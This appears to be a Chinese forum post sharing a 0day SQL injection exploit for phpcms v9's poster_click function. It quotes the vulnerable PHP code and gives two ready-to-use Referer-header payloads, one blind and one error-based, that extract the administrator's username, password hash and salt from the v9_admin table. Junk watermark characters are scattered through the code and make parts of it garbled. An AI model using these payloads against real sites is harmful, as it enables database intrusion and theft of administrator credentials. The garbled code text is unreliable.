phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php
9 F2 ?, C2 m/ p* Y- K, J
2 X) S$ Y1 L8 }; N" `public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
+ |' I, J/ |( a& x) p6 w# F) R! `if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
  x9 ~% u/ l6 Q  p. x# a, ~}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
. S# f7 ?1 r: v8 p7 G* x0 ~2 w: r$setting = string2array($r['setting']);
5 S$ R, }* Z7 J3 hif (count($setting)==1) {
  V1 w, r3 d, @8 ?7 `$url = $setting['1']['linkurl'];
' H# D* p" J  r2 F2 f6 I" Q/ C} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
) a5 n: [* h1 V! h1 y4 ?) a}
, m0 K8 _( w/ o9 e+ g& Theader('Location: '.$url);
}
% [1 t% Q9 H3 L8 z' R- g


- L% I! Z% p' i' k* g8 B. j' x& A# q利用方式：
: B8 W# m/ `  x3 ]4 f
) F7 w9 U7 n& }1、可以采用盲注入的手法：

  ~8 R9 m5 X9 S6 Nreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。
! {" k5 \3 {3 o
! L/ }1 [2 B, O2 W- K( r; q2、代码是花开写的，随手附上了：
& Z! Y8 B8 r3 }! N! Z+ E; E
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
: ^2 I8 C0 O0 m# p# g. Y
此方法是爆错注入手法，原理自查。
